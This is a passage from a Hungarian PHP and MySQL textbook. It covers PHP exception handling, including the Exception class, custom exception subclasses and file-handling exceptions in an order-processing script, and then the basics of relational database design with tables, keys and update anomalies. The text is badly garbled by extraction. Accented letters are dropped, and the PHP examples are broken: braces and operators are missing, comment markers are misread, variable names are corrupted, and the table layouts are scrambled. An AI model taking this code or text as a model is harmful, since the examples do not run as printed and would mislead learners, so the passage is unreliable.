7 .l bra: A catch blokk kzli a kivtel hibazenett, s jelzi, hol trtnt a kivtel.

A pldakdban lthat, hogy az Exception osztly kivtelt vltjuk ki. E bepterr osztly a catch blokkban hasznos
hibazenerek megjelentsre alkalmas merdusokkal rendelkezik.

Az Exception osztly
A PHP rendelkezik egy Exception nev bepterr oszrllyal. Ennek konstruktora, mint azt mr jelezrk, kt paramtert

fogad: egy hibazenetet s egy hibakdor.


A konsrruktoron tlmenen az oszrly az albbi bepterr metdusokar tartalmazza:
getCode

()-A konstruktornak radorr kdot adja vissza.

getMessage

()-A konstruktornak radorr zenetet adja vissza.

getFile() -Annak
getLine

a kdfjlnak a reljes elrsi tvonalt adja vissza, ahol a kivtel bekvetkezett.

()-A kdfjl azon sornak a szmt adja vissza, ahol a kivtel bekvetkezett.

getTrace

()-A kivtel bekvetkezrnek visszakvetsr tartalmaz tmbt ad vissza.

getTraceAsStr ing

()-A getTrace metdus lral visszaadorr informcival megegyezt ad vissza karakterlncknt for

mzva azt.
_toStr ing ( )- Lehetv

teszi, hogy az Exception objektumot egyszeren ki!ratva a fenri metdusok lral nyj

torr sszes informcit megszerezzk.


Lthat, hogy a 7.l pldakdban a fentiek kzl az els ngy metdust hasznltuk. Mindezen informcit (s a visszakve
tsr) megkaptuk volna az
echo

$e;

urasrs vgrehajtsval is.


A visszakvets (backtrace) azt mutatja, mely fggvnyek vgrehajtsakor kvetkezerr be a kivtel.

Hiba- s kivtelkezels

133

Felhasznl ltal meghatrozott kivtelek


Ahelyett, hogy ltrehoznnk s tadnnk az Exception alaposztly egy pldnyt, brmilyen tetszleges objektumot radha
runk. Az. esetek tbbsgben az Exception osztlybl szrmaztatott sajt kivreiosztlyokat fogunk ltrehozni.
A throw mellkggal brmilyen ms objektumot is radhatunk Erre akkor lehet szksg, ha problmink addnak vala
milyen konkrt objektummal, s hibavrsi cllal kivnjuk radni.
Legtbbs.zr azonban az Exception alaposztlyt fogjuk kiterjeszteni.A PHP kziknyvben megtalljuk az Exception
osztly vzt jelkpez kdot.A http:/ /us.php.net/ manual/en/language
.oopS.php oldalrl szrmaz kdot a 7.2 pldakdban
lthatjuk.Fontos megemlteni, hogy ez nem a tnyleges kd, hanem azt mutatja, amire rkldskor szmirhatunk
7.2 pldakd: Exception osztly- erre szmthatunk rkldskor
<?php
class Exception
function

construct(string $message=NULL,

if (func_num_args())

int $code=0)

$this->message = $message;

$this->code

$code;

$this->file =

FILE

$this->line =

ll a hibakezels egyb bellitsa

LINE

ll a hibakezels egyb bellitsa

$this->trace = debug_backtrace();
$this->string

StringFormat($this);

protected $message = "Ismeretlen kivtel";


protected $code = 0;

ll kivtel zenete

ll felhasznl ltal meghatrozott kivtelkd

ll kivtel forrsfjlneve

protected $file;
protected $line;

ll kivtel forrssora
ll kivtel visszakvetse

private $trace;
private $string;

ll csak bels!

final function getMessage() {


return $this->message;

final function getCode()


return $this->code;

final function getFile()


return $this->file;

final function getTrace()


return $this->trace;

final function getTraceAsString()


return self::TraceFormat($this);

function

toString()

return $this->string;

static private

ll ...

PHP

function StringFormat(Exception $exception)


kdokban nem elrhet fggvny,

ll amely karakterlncknt ad vissza minden fontos informcit


static private function TraceFormat(Exception $exception)

ll ...

PHP

kdokban nem elrhet fggvny,

ll amely karakterlncknt adja vissza a visszakvetst

134

7. fejezet

"?>"

Elssorban azrt vizsgljuk meg ezt az osztlydefincit, hogy szrevegyk: a nyilvnos (public) metdusok tbbsge vg
leges (final). Ez azt jelenti, hogy nem fellrhark. Ltrehozharjuk sajt Exception alosztlyainkat, de nem mdosthaguk
az

alapmetdusok viselkedst. Jegyezzk meg, hogy a _toSt ring () fggvny fellrhat, gy megvltoztathatjuk a kivtel

megjelentsi mdjt! Ugyangy sajt metdusaink hozzadsra is van lehetsg.


A 7.3 pldakd felhasznl ltal definilt Exception osztlyra mutat pldt.
7.3 pldakd: felhasznala_altal_definialt_ kivetel.php

Plda Jelhasznl ltal definilt Exception osztlyra

<?php
class sajatKivetel extends Exception

function

toString()

return "<table border=\"1\">


<tr>
<td><strong>Kivtel ".$this->getCode() ."
</strong>:

".$this->getMessage() ."<br />"."

a ".$this->getFile() ." fjl ".$this->getLine() ." . sorban


<ltd>
</tr>
</table><br />";

try

{
throw new sajatKivetel("Szrny hiba trtnt",

42);

catch (sajatKivetel $m)

echo $m;

?>

Ebben a kdban j kivtelosztlyt deklarlunk. Ennek neve saja tKivete l, s az Exception alaposztlybl rkldik.
Ez s az Exception osztly kztt az a klnbsg, hogy a_toString () metdust fellrva, szpen formzva ratjuk ki
a kivtelt. A kd futtatsnak kimenere a 7.2 brn lthat.

7.2 bra: A saja tKivetel osztly ,.szpen Jormzva" jelenti meg a kivteleket.

Hiba- s kivtelkezels

135

A fenti plda igen egyszer. A kvetkez rszben megvizsgljuk, hogyan lehet klnbz hibatpusokat kezel, msmilyen

kivteleket ltrehozni.

Kivtelek Bob autalkatrszrtkest alkalmazsban


A 2. fejezetbl

(Adatok trolsa s visszakeresse) megcudhattuk, hogyan troljuk Bob rendelsi adatait egy egyszer fjlban.

Mint azzal bizonyra tisztban vagyunk, a fjlkezels egyike azon terleteknek, ahol gyakran jelentkeznek hibk. Ezrt kivl
terep ez kivtelkezels alkalmazsra s szemlltetsre.
Ha visszagondolunk az eredeti kdra, lthatjuk, hogy hromfle problma kvetkezhet be fjlba rskor: a fjl nem nyithat
meg, nem lehet zrolni, vagy nem lehet rni bele. Mindhrom lehetsghez ltrehoztunk egy-egy kivtelosztlyt. Ezek kdjt
a

7.4 pldakdban talljuk.

7.4 pldakd: fajl_kivetelek. php- Fjlkezelshez kapcsold

kivtelek

<?php
class fajlNyitasiKivetel extends Exception
function

toString()

__

return nfajlNyitasiKivetel n.
n:

$this->getCode()
/>n. n

$this->getMessage(). n<br

n.

$this->getFile().

n fjl n.

''.

/ >'';

sorb an

''

''<br

$this->getLine()

class fajlirasiKivetel extends Exception


toString()

function

return nfajlirasiKivetel n.
n:

n.

$this->getCode()

$this->getMessage(). n<br

$this->getFile().

n f j l

''.

/> '';

sorb an ''

''<br

/>n. n

a n

$this->getLine()

class fajlZarolasiKivetel extends Exception


function

toString()

__

return

nfajlZarolasiKivetel n
n:

$this->getCode()

$this->getMessage(). n<br

$this->getFile().

n fjl n.

''.

/>'';

sorb an

''

''<br

/>n. n

a n

$this->getLine()

?>

Ezek az Exception alosztlyok semmi klnlegeset nem tesznek. Jelen alkalmazshoz akr res alosztlyknt is felhasz
nlhattuk volna ket, de az alap Exception osztly is megfelel lenne. Mindazonltal minden alosztlyhoz ltrehoztunk egy
_toString()

metdust, amely kzli, hogy milyen tpus kivtel trtnt.

A 2. fejezetbl ismert rendeles feldolgozasa. php fjlt trtuk, hogy beptsk a kivteleket. Az j vltozar a 7.5
_

pldakdban lthat.

136

7. fejezet

7.5 pldakd: rendeles_feldolgozasa. php - B ob rendelseket Jeldolgoz kdja kivtelkezels beptse utn
<?php
require_once("fajl kivetelek.php"};

ll rvid vltoznevek ltrehozsa


$abroncs_db = $_POST['abroncs_db'];
$olaj_db = $ POST['olaJ_db'];
$gyertya_db = $ POST['gyertya_db'];
$szallitasi_cim = $_POST['szallitasi eim'];
$ SERVER['DOCUMENT_ROOT'];

$DOCUMENT_ROOT
?>

<html>
<he ad>
<title>Bob autalkatrszek -

Rendelsi eredmnyek</title>

</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredmnyek</h2>
<?php
$datum = date('H:i,

jS F'};

echo "<p>Rendels feldolgozsnak id6pontja:

echo

'<p> Rendelse az albbi:

".$datum."</p>";

</p>';

$osszmennyiseg = 0;
$osszmenny1seg = $abroncs_db
echo " Rendelt termkek szma:

if( $osszmennyiseg == 0}

$olaJ

db

$gyertya db;

".$osszmennyiseg."<br />";

echo " Egyetlen ttelt sem rendelt az el6z6 oldalon!<br />";


else
if

( $abroncs_db > O }

echo $abroncs_db." gumiabroncs<br />";


if ( $olaj_db > O }

echo $olaj db." flakon olaj<br />";


if ( $gyertya_db > O }

_",,

.__
__

echo $gyertya_db." gyjtgyertya<br />";

$vegosszeg = 0.00;
define('ABRONCSAR',
define( 'OLAJAR',

100};

l0};

define('GYERTYAAR' ,

4};

$vegosszeg = $abroncs_db

ABRONCSAR

$olaj_db

OLAJAR

$gyertya db

GYERTYAAR;

$vegosszeg=number_format($vegosszeg,

2,

'

);

Hiba- s kivtelkezels

echo "<p> A rendels vgsszege:


echo "<p>Szllitsi eim:

$kimeneti sztring

137

".Svegosszeg."</p>";

".$szallitasi cim."</p>";

$daturn."\t". Sabroncs_db." gumiabroncs \t".$olaj db." olaj\t"


.$gyertya_db." gyjtgyertya\t\$".$vegosszeg
."\t". Sszallitasi cim."\n";

ll fjl megnyitsa hozzirshoz


try

if (1($fp

@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt",

'ab')))

throw new fajlNyitasiKivetel();

if (!flock($fp,

LOCK_EX))

throw new fajlZarolasiKivetel();

if (1fwrite($fp,

$outputstring,

strlen($outputstring)))

throw new fajlirasiKivetel();

flock($fp,

LOCK_UN);

fclose($fp);
echo "<p>Rendels megirva. </p>";

catch (fajlNyitasiKivetel $foe)


echo "<p><strong>A rendelseket tartalmaz fjlt nem lehet megnyitni.
Krjk,

lpjen kapcsolatba a webmesternkkel'</strong></p>";

catch (Exception $e)


echo "<p><strong>Megrendelst jelenleg nem tudjuk feldolgozni.
Krjk,

prblkezzon ks6bb!</strong></p>";

?>
</body>
</html>

A kd fjlkezelssei foglalkoz rszt try blokk veszi krl. Az ltalos s kvetend programozsi gyakorlat kis try
blokkok alkalmazsa, illetve mindegyik utn a megfelel kivtel elkapsa. Igy knnyebb a kivtelkezel kd megrsa s kezel-

se, hiszen mindig pontosan ltjuk, hogy mivel foglakozunk.


Ha nem tudjuk megnyitni a fjlt, fajlNyitasiKivetel-t vltunk ki; ha nem tudjuk zroini a fjlt, akkor
fajlZarolasiKivete l-t, ha pedig nem tudunk rni bele, akkor fajlirasiKivetel-t idznk el.

Vizsgljuk meg a catch blokkokat! Nem vletlenl csak kett van bellk: az egyik a fajlNyitasiKivetel kivteleket
kezeli, a msik az Exception kivteleket. Mivel a tbbi kivtel az Exception osztlybl rkldik, ezeket a msodik catch
blokk fogja elkapni. A catch blokkok kivtelekkel prostsa ugyanolyan alapon trtnik, mint az instanceof opertor.
Ezrt is rdemes sajt kivtelosztlyainkat egyetlen osztlybl szrmaztatni.
Vgezetl egy fontos figyelmeztets: ha olyan kivtelt vltunk ki, amelynek nem rtunk megfelel catch blokkot, a PHP
vgzetes hibt jelez.

l 7

138

7. fejezet

Kivtelek s a PHP tovbbi hibakezel mechanizmusai


A fejezetben bemutatott kivtelkezel mechanizmusan tlmenen a PHP sszetett hibakezel tmogatssal rendelkezik,
amellyel a Hibakvets cm 26. fejezetben foglalkozunk. rdemes megemliteni, hogy a kivtelek kivltsnak s kezelsnek
folyamata egyltaln nem befolysolja ezen hibakezel mechanizmus mkdst.
Figyeljk meg a 7.5 pldakdban, hogy az fopen ( ) fggvny meghvsa eltt tovbbra is ott talljuk a @ hibaelnyom
opertort! Sikertelen meghvs esetn a PHP figyelmeztetst ad ki, amely a php. ini hibaJelent belltsaitl fggen vagy
megjelenik s naplba kerl, vagy nem. Ezeket a belltsokat a 26. fejezetben rszletesen megismerjk, de fontos tudni, hogy
a PHP a kivtelkivltstl fggetlenl kiadja a figyelmeztetst.

Tovbbi olvasnival
Mivel a kivtelkezels a PHP egyik jdonsga, nem tl sokat rtak mg a tmban. A kivtelkezelsrl ltalnossgban azon
ban bsges informci lelhet fel. A Sun kivl oktatanyaggal rendelkezik a kivtelekrl, illetve arrl, mirt rdemes hasz
nlni azokat. A - termszetesen a Java szemszgbl rdott - anyag a http://java.sun.com/docs/books/tutorial/essential/
exceptions/handling.html oldalrl rhet el.

Hogyan tovbb:
A knyv kvetkez rsze a MySQL-lel foglalkozik. Megtudjuk, hogyan hozzunk ltre s tltsnk fel MySQL adatbzist, majd
mindezt a PHP-rl tanultakkal sszekapcsolva hogyan lehet az adatbzist az internetrl elrni.

II
A MySQL hasznlata

Webes adatbzis megtervezse

Webes adatbzis ltrehozsa

10

Munkavgzs MySQL adatbzisunkkal

ll

MySQL adatbzis elrse a webrl PHP-vel

12

Halad MySQL-adminisztrci

13

Halad MySQL-programozs

8
Webes adatbzis megtervezse
A PHP alapjainak megismerse utn figyelmnket afel fordtjuk, hogyan tudunk kcljainkba adatbzist bepteni. Emlkez
hetnk r, hogy az Adatok trolsa s visszakeresse cm 2. fejezet bemutatta, milyen elnykre szmthatunk, ha az egyszer
fjlok helyett relcis adatbzist hasznlunk:
A relcis adatbzis-kezel rendszerek (RDBMS) az egyszer fjloknl gyorsabb hozzfrst tesznek lehetv az adatokhoz.
Az RDBMS-ekbl lekrdezssel egyszeren kinyerherk adott kritriumoknak megfelel adathalmazok.
Az RDBMS-ek beptett mechanizmusokat knlnak az egyidej hozzfrsek kezelsre, gy programozknt nem
szksges ezzel foglalkoznunk.
Az RDBMS-ek vletlen hozzfrst biztostanak az adatokhoz.
Az RDBMS-ek beptett jogosultsgi rendszerekkel rendelkeznek.
Hogy nhny kzzelfoghat pldt is nzznk, relcis adatbzis hasznlatval gyorsan s egyszeren vlaszt kapunk az
olyan lekrdezsekre, hogy honnan rkeznek vsrlink, mely termkek fogynak a legjobban, s milyen tpus vsrlk klte
nek a legtbbet. ilyen - egy egyszer fjlbl igen nehezen kinyerhet - informcik birtokban fejleszthetjk oldalunkat, hogy
rbb felhasznlt vonzzon, s segtsen megtartani ket.
A knyv elttnk ll rszben MySQL adarbzist fogunk hasznlni. Mieltt a kvetkez fejezetben elmlyednnk a
MySQL rszleteiben, megvizsgljuk a kvetkezket:
Relcis adatbzisokkal kapcsolatos fogalmak s szakkifejezsek
Webes adatbzis megtervezse
Webes adarbzis architektrja
A knyv ezen rszben az albbi terletekkel ismerkednk meg:
A Webes adatbzis ltrehozsa cm 9. fejezet MySQL adatbzis internethez kapcsolsnak alapvet belltst mutatja
be. Megtudjuk, hogyan hozhatunk ltre felhasznlkat, adatbzisokat, tblkat s indexeket, s megsmerjk a MySQL
klnbz trolmotorjait.
A Munkavgzs MySQL adatbzisunkkal cm 10. fejezetbl kiderl, hogyan lehet lekrdezni az adatbzisbl, hogyan
tudunk rekordokat hozzadni, trlni s frissteni - mindezt parancssorbL
A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezet bemutatja, hogyan lehet a PHP-t s a MySQL-t ssze
kapcsolva adatbzisunkat webes kezelfelletrl elrni s hasznlni. Kt mdszert ismernk meg erre: az egyik a PHP
.. MySQL Improved Extension" (mysqli) kiterjesztst, a msik a PEAR:DB adatbzis-absztrakcis rteget hasznlja.
A Halad MySQL-adminisztrci cm 12. fejezer rszletesebben taglalja a MySQL-felgyeletet, olyan terleteket rint
ve, mint a jogosultsg rendszer, a biztonsg s az optimalizls.
A Halad MySQL-programozs cm 13. fejezet a trolmotorokat mutatja be rszletesebben, foglalkozik a tranzakcik
lefedettsgvel, a teljes szvegben keresssel s a trolt eljrsokkal.

Relcis adatbzissal kapcsolatos fogalmak


A relcis adatbzis messze a leggyakrabban hasznlt adatbzistpus. Az ilyen adatbzisok a relcis algebra szilrd elmleti
alapjaira plnek. Relcis adarbzis hasznlathoz nem szksges, hogy mlyrehatan ismerjk a relcis elmletet (ez min
denkppen j hr), m bizonyos alapvet adatbzis-fogalmakkal tisztban kell lennnk.

Tblk
A relcis adatbzisok kapcsolatokbl plnek fel, amelyeket tblknak vagy tblzatoknak (rable) szoks nevezni. A tbla pon
tosan az, amit a neve sugall - adarokbl ll tblzat. Ha hasznltunk korbban tblzatkezel alkalmazst, akkor tblkkal is
dolgoztunk mr.

142

8.fejezet

Vessnk egy pillamst a 8.1 brn lthat mintatblra, amely a Book-O-Rama nev knyvesbolt vsrlinak nevt s cmr
tartalmazza!
VASARLOK
Nev

Lakeim

Varos

Julie Smith

25 Oak Street

Airporr West

Alan Wong

1/47 Haines Avenue

BoxHiU

Michelle Arrhur

357 Norrh Road

Yarraville

VasariolD

8.1 bra: A Book-O-Rama vsrlinak adatai tblzatban trolva.


A tblnak van neve (vasarlok), s klnbz adatokat tartalmaz oszlopokbl s az egyes vsrlknak megfelel sorok
bl ll.

Oszlopok
A tbla minden oszlopa egyedi nvvel br, s klnbz adatokat tartalmaz. Minden oszlop megfelel adattpus. A 8.1 brn
lthat Vasarl ok tblbl kiderl, hogy a Vas arl o I D (vagyis vsrlazonost) egsz szmokat, a msik hrom oszlop
karakterlncokat tartalmaz. Az oszlopokat esetenknt mezknek (field) vagy tulajdonsgoknak, attribtumoknak (attribute) is
szoks nevezni.

Sorok
A tbla mindegyik sora egy-egy vsrlt jelkpez. A tblzatos forma miatt minden sor ugyanazokkal a tulajdonsgokkal ren
delkezik. A sorokat szoks rekordoknak ( record) is nevezni.

rtkek
Minden sor az egyes oszlopoknak megfelel rtkek kszlett tartalmazza. Minden adatnak az oszlopa ltal meghatrozott
adattpusnak kell lennie.

Kulcsok
Szksg van az egyes vsrlk azonostst lehetv tev mdszerre. A nevek ltalban nem alkalmasak erre. A gyakori nvvel
megldott olvask nnden bizonnyal jl tudjk ezt.Gondoljunk pldul aVasar lok tblban szerepl Julie Smith-re! Ha
kinyitunk egy amerikai a telefonknyvet, megszmllhatatlan sok ilyen nev embert tallunk.
Tbbflekppen megklnbztethetjk kzttkJulie-t.J esllyel az egyetlenJulie Smith, aki a megadott lakcmen l. Az
"
"Oak Street 25, Airport West alatt lak Julie Smith nven emlegetni t azonban kicsit krlmnyes, s tlsgosan hivatalos
nak hat. Radsul hasznlathoz a tbla egynl tbb oszlopra is szksg lenne.
Amit a pldban tettnk, s amit nnden bizonnyal s:Yt alkalmazsainkban is tenni fogunk, nem ms, mint egyni vsr
lazonost (Vasar lo I D) hozzrendelse az gyfelekhez. Ugyanezen elv alapjn kapjuk egyedi bankszmlaszmunkat vagy
tagsgi szmunkat a DVD-klcsnzben. Egyszerbb teszi adataink adatbzisban trolst. Mestersgesen kiosztott azono
st szmnl garantlhatjuk az egyedisget. Nagyon kevs valdi adat rendelkezik ezzel a tulajdonsggal. Gyakran mg az sem
szavatolja az egyedi azonostst, ha tbb ilyen adatot kombinlva hasznlunk.

A tblzat azonost oszlopt kulcsnak vagy elsdleges kulcsnak nevezzk. A kulcs tbb oszlopot is tartalmazhat. HaJulie-ra
pldul az "Oak Street 25, Airport West alatt lak Julie Smith"-knt hivatkozunk, akkor a kulcs a Lakcim, Varos s Nev osz

lopbl ll, s ebben az esetben nem felttlenl lesz egyedi azonost.

Az adatbzisok jellemzen tbb tblbl llnak, s kulcsot hasznlva hivatkoznak az egyik tblrl a msikra. A 8.2
brn egy, ehhez az adatbzishoz adott msodik tblt ltunk, amely a vsrlk ltal jelzett megrendelseket trolja.
A Megrendelesek tbla minden sora egy adott vsrl egy konkrt megrendelst jelkpezi.Tudjuk, hogy ki a szban
forg vsrl, mivel VasarloiD nven eitraijuk az gyflazonostjt. Ha megnzzk pldul a 2-es rendelsi azonostj
(RendelesiD)

rendelst, lthatjuk, hogy az l-es gyflazonostj vsrl adta. Ha ezt kveten rnznk a Vasarlok tb

lra, kiderl, hogy az l-es gyflazonosttJulie Smith kapta.

Webes adatbzis megtervezse

143

VASARLOK
VasariolD

Nev

Lakeim

Varos

JulieSmith

25 OakStreet

Airport West

Alan Wong

l l 4 7 Haines Avenue

BoxHill

Michelle Arthur

357 North Road

Yarraville

MEGRENDELES
RendelesiO
l

VasariolD

sszeg

Datum

27.50
12.99
74.00
6.99

02-Apr-2007
15-Apr-2007
19-Apr-2007
01-May-2007

2
3
4

2
3

8.2 bra: A Megrendelesek tblban szerepl minden egyes rendelst a Vasar/ok tblban
lv valamelyik vsrl adta le.
A relcis adatbzis az idegen kulcs (foreign key) kifejezst hasznlja az ilyen kapcsolatta. AVasarlok tblban

a VasarloiD az elsdleges kulcs, de ms tblban-a pldban a Megrendelesek- ben-idegen kulcsknt hivatkezunk r.


Felvetdhet a krds, mirt rdemes kt kln tblt hasznlni. Mirt nem troljukJulie cmt egyszeren a rendelseket
tartalmaz Megrendelesek tblban? A kvetkez rszben rszletesen foglalkozunk ezzel.

Smk
Az adatbzis sszes tblatervt egyttesen adatbzissmnak (schema) nevezzk. A sma az sszes tblt s azok oszlopait,
illetve az egyes tblk elsdleges kulcst s idegen kulcsait tartalmazza. Adatok ugyan nincsenek benne, de rtelmezst meg
knnytend mintaadatokat helyezhetnk bele. A smkat megjelenthetjk informlis brkon (ahogy az imnt tettk), egyed
kapcsolat diagramban (amivel knyvnkben nem foglalkozunk), illetve szveges formban, pldul:
Vasarlok(VasarloiD,

Nev,

Megrendelesek(RendelesiD,

Lakcim,

Varas)

VasarloiD,

Osszeg,

Datum)

A smban az alhzott kifejezsek elsdleges kulcsok abban a relciban, amelyben al vannak hzva. A dlttel szedett
kifejezsek pedig kls kulcsok abban a relciban, amelyben dlten jelennek meg.

Kapcsolatok
Az idegen kulcsok tblban lv adatok kztti kapcsolatot jelkpeznek. A Megrendelesek tblrl a Vasarlok tblra
mutat nyl pldul a Megrendelesek tbla sorai s a Va sarlak tbla sorai kztti kapcsolatra utal.
Hromfle kapcsolat ltezik a relcis adatbzisokban. A hrom tpust a kapcsolat kt oldaln lv elemek szma szerint
klnbzteljk meg. A kapcsolat lehet egy az egyhez (one-to-one), egy a sokhoz (one-to-many) vagy sok a sokhoz (many-co
many) tpus.
Az egy az egyhez kapcsolat azt jelenti, hogy mindkt dologbl egy-egy alkolja a kapcsolatot. Ha pldul a lakcmeket
a Vasarlok tblbl kln tblba tennnk, egy az egyhez tpus kapcsolat lenne kzttk. A Cimek tblbl egy idegen
kulcs mutatna a Vasa rl ok tblba vagy fordtva.
Egy a sokhoz tpus kapcsolat esetn az egyik tblzat sora(i) a msik tbb sorhoz kapcsoldhat(nak). Pldnknl maradva: a vsrlk tbb megrendelst is leadharnak. Ilyen kapcsolatnl a sok sort tartalmaz tblzat idegen kulcsa mutat az egy
sort tartalmaz tblzatra. Ebben az esetben az gyflazonostt betesszk a megrendelseket tartalmaz tblba, hogy mutassa a kapcsolatot.
Sok a sokhoz tpus kapcsolat esetben az egyik tbla tbb sora kapcsoldik a msik tbla tbb sorhoz. Kpzeljnk el kt
tblt, az egyik knyveket ( Konyvek) , a msik szerzket ( Szerzok) tartalmaz. Ltezik olyan knyv, amit kt szerz jegyez,
akik ms knyveket is rtak-egyedl vagy ms szerzkkel. Az ilyen tpus kapcsolatban ltalban egy minden adatot tartalmaz tblzat is ltezik, gy a fenti pldnl maradva lesz Konyvek, Szerzok s Konyvek_ Szerzok tbla is. Ebben a harmadik tblban csak a msik kt tbla kulcsait talljuk idegen kulcsknt prokban. Ezek mutatjk, hogy mely szerzk mely
knyvekben rintettek.

l 8

144

8. fejezet

Webes adatbzis megtervezse


Bizonyos tekintetben mvszet tudni azt, hogy mikor van szksg j tblra, s mi legyen a kulcs. Rengeteg knyvet tallunk
az egyed-kapcsolat diagramokrl s az adatbzis-normalizlsrl, amely tmakrk meghaladjk jelen ktet tartalmi lehet
sgeit. Az esetek tbbsgben azonban elegend nhny alapvet tervezsi elvet betartani. Vizsgljuk meg most ezeket a fenti
pldkban szerepl knyvesbolt kontextusban l

Gondoljuk vgig a modellezett, vals vilgbeli objektumokat!


Adatbzis ltrehozsakor ltalban vals vilgbeli elemeket s kapcsolatokat modelleznk, s ezekrl az objektumokrl s kap
csolatokrl trolunk el informcit.
ltalnossgban azt mondhatjuk, hogy a modellezett, vals vilgbeli objektumok minden egyes osztlynak kln tblra
van szksge. Gondoljunk csak bele: ugyanazt az informcit kivnjuk trolni minden vsrlrl! Ha egy adatkszlet ugyan
olyan formj, knnyedn ltrehozharunk az adatoknak megfelel tblt.
A Book-O-Rama knyvesbolt pldjban a vsrlkrl, a forgalmazott knyvekrl s a rendelsekrl szetetnnk informcit
trolni. Minden vsrlhoz tattozik nv s cm. Minden megrendelsnl van dtum, vgsszeg s rendelt knyvek. Minden
knyvhz tartozik ISBN-kd, van szerzje, cme s ra.
A fentiekbl az kvetkezik, hogy legalbb hrom tblra van szksgnk az adatbzisban: Vasarlok, Megrendelesek
s Konyvek. Az adatbzis kezdeti smjt a 8.3 brn lthatjuk
VASARLOK
Nev

Lakeim

Varos

Julie Smith

25 Oak Street

Airport West

Alan Wong

1/47 Haines Avenue

Box Hill

Michelle Arthur

357 North Road

Yarraville

Datum

VasariolD

MEGRENDELE

VasariolD

sszeg

27.50

02-Apr 2007

12.99

15 Ap r-2007

74.00

19-Apr-2007

6.99

01-May-2007

RendelesiO

KONYVEK
ISBN

Szerzo

Cim

Ar

0-672-31697-8

Michael Morgan

Java 2 for ProfessionalDevelopers

34.99

0-672-31745-1

ThomasDown

Installing GNU/Linux

24.99

o- 672-31509-2

Pruitt.et al.

Teach Yourself GIMP in 24 Hours

24.99

8.3 bra: A kiindul sma Vasarlok, Megrendelesek s Konyvek tblbl ll.


A modellbl egyelre nem tudjuk megmondani, mely knyveket vlasztottk az egyes rendelsekben. Rvidesen azonban

ezzel is foglalkozni fogunk.

Redundns adatok trolsnak elkerlse


Korbban feltettk a krdst:.Mirt ne troljukJulie Smith lakcmt a Megrendelesek tblbant
HaJulie tbbszr is rendel a Book-0-Ramtl, ahogy azt remljk, akkor adatait tbbszr eltroljuk. Ebben az esetben
vgeredmnyknt egy, a 8.4 brn lthathoz hasonl tbla addna. (Ugyanakkor egy ilyen adattrolsnak is meglehetnek az
elnyei, hiszen - a pldnl maradva - kiderl pldul az, hogy rendelskor rnilyen szlltsi cmet adott meg a vsrl, s mi
lyen cmre indtottuk a rendelst.)

Webes adatbzis megtervezse

RendelesiO

sszeg

Oatum

VasariolD

Nev

Lakeim

Varos

12

199.50

13

43.00

25-Apr-2007

Julie Smith

25 ak Street

Airporr Wesr

29-Apr-2007

Julie Smith

25 ak Srreer

14

Airporr Wes r

15.99

30-Apr-2007

Julie Smith

25 ak Street

Airporr Wesr

15

23.75

01-May-2007

Julie Smith

25 ak Street

Airporr Wesr

145

8.4 bra: A redundns adatokat trol adatbzis nagyobb trhelyet ignyel, s anom/ikat okozhat az adatokban.

Egy ilyen adatbzisnl kt alapvet problma merl fel:


Az egyik a helypazarls. Mirt troljukJulie szemlyes adatait hromszor, ha elg lenne csak egyszer is?
A msik, hogy ez frisstsi anomlikhoz vezethet - vagyis olyan helyzetekhez, amelyekben az adatbzis mdostsa
inkonzisztens adatokat eredmnyez. Az adatintegrits srl, s nem tudjuk megllaptani, hogy melyik adat helyes s
melyik nem. Egy ilyen helyzet jellemzen informcivesztshez vezet.
Hromfle frisstsi anomlit sziiksges elkerlni: a mdostsi, a beszrsi s a trlsi anomlikat.
HaJulie msik laksba kltzik, mikzben egyes megrendelsei mg fggben vannak, akkor cmt egy helyett hrom he
lyen kell frissteni, ami hromszor annyi munkt jelent. Knnyen megfeledkezhetnk errl, s csak egyeden helyen mdostjuk
a lakcmt, ami inkonzisztens adatot eredmnyez adatbzisunkban (ami nem kifejezetten rvendetes szmunkra). Az ilyen
problmkat mdostsi anomliknak nevezzk, mert akkor jelentkezhetnek, amikor megksreljk mdostani az adatbzist.
Az adatbzis ilyen kialaktsa esetn Julie adatait minden egyes rendelsfelvtelnl be kellene szrni, gy nnden alkalommal
ellenriznnk kellene, hogy azok megegyeznek-e a tbla meglv soraiban lv adatokkal. Ha elmulasztjuk az ellenrzst,
knnyen lesz kt olyan sorunk, amely egymsnak ellentmond informcit trolJulie-rL Az egyik sorban pldul az szerepel,
hogy Airport Westben lakik, a msik sor pedig azt sugallja, hogy Airportban. Az ilyen esetet beszrsi anom/inak nevezzk,
mert adatok beszrsa esetn fordulhat el.
A harmadik tpust trlsi anom/inak nevezik, mert - brmilyen meglep - akkor jelentkezhet, ha sorokat trlnk ki egy
adatbzisbL Kpzeljk el, hogy a megrendels kiszllrsa utn trljk azt az adatbzis bl! Julie aktulis megrendelseinek
teljestse utn azok mind trldnek a Megrendelesek tblbL Ez azt jelenti, hogy a ksbbiekben nincsen rekordunk
Julie cmvel. Nem kldhetnk neki tjkoztatt a klnleges ajnlatainkrl, s amikor legkzelebb rendel valamit a Book-0Ramtl, ismt be kell krnnk minden adatt.
ltalnossgban gy kell adatbzisunkat megrervezni, hogy a fenti anomlik egyike se kvetkezzk be.

Atomi oszloprtkek hasznlata


Atomi oszloprtkek hasznlata esetn nnden sor nnden tul:Ydonsgnl csak egyeden dolgot trolunk. Pldul tudnunk
kell azt, hogy milyen knyvekbl llnak ssze az egyes rendelsek. Tbbflekppen is elrhetjk ezt.
Az egyik megolds az lehetne, hogy hozzadunk a Megrendelesek tblhoz egy olyan oszlopot, amely a megrendelt
k nyveket tartalmazza. Ezt az esetet ltjuk a 8.5 brn.
MEGRENDELESEK
RendelesiO

VasariolD

sszeg

Oa tum

Rendelt konyvek

27.50

02-Apr-2007

0-672-31697-8

12.99

15-Apr-2007

0-672-31745 -l, o -672-31509-2

74.00

19-Apr-2007

0-672-31697-8

6.99

01-May-2007

0-672-31745 -l, 0-672-31509-2,0-672-31697-8

8.5 bra: flyen kialakts esetn a Rendelt konyvek tulajdonsgnl soronknt tbb rtk fordulhat el.

Ez a megolds tbb okbl sem szerencss. Itt tulajdonkppen az trtnik, hogy egy egsz tblzatot gyazunk egyetlen osz
lopba - egy olyan tblzatot, amely a megrendelseket s a knyveket kapcsolja ssze. Ha gy alaktjuk ki az oszlopokat, sokkal
nehezebb vlik megvlaszolni az olyan krdseket, mint a "Hny pldnyt rendeltek a Java 2 for Professional Developers cm
kiadvnybl?': A rendszer gy nem cuclja egyszeren csak sszeszmolni az egyez mezket. Helyette nnden tulajdonsgrt
